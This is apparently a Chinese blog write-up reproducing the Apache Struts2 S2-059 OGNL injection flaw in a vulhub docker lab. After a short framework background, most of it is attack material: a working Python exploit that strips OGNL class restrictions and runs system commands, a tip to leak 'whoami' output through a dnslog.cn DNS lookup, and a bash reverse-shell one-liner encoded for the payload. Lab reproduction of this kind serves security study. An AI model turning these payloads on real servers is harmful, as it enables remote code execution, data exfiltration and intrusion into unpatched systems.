Apache Struts2-059
文章来源: Admin Team
s2-059
Struts2介绍
是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
st2-059介绍
2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。
漏洞复现
vulunmb拉环境
vulhub/Struts2/s2-059 docker-compose up -d //启动漏洞环境
图1. docker启动漏洞环境图2. s2-059漏洞环境
EXP地址:https://vulhub.org/#/environments/Struts2/s2-059/ 官网给的exp是没有回显的
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text)
可以进行修改 修改为ping xxx.dnslog.cn 这个可以直接执行坑点 由于是java的需要进行编码 将其名带外输出
whoami.koeep8.dnslog.cn 在线编码:http://www.jackson-t.ca/runtime-exec-payloads.html
图3. base64编码截图
攻击测试
反弹shell
bash -i >& /dev/tcp/Your ip/Your port 0>&1
base编码随后替换图3. 反弹shell成功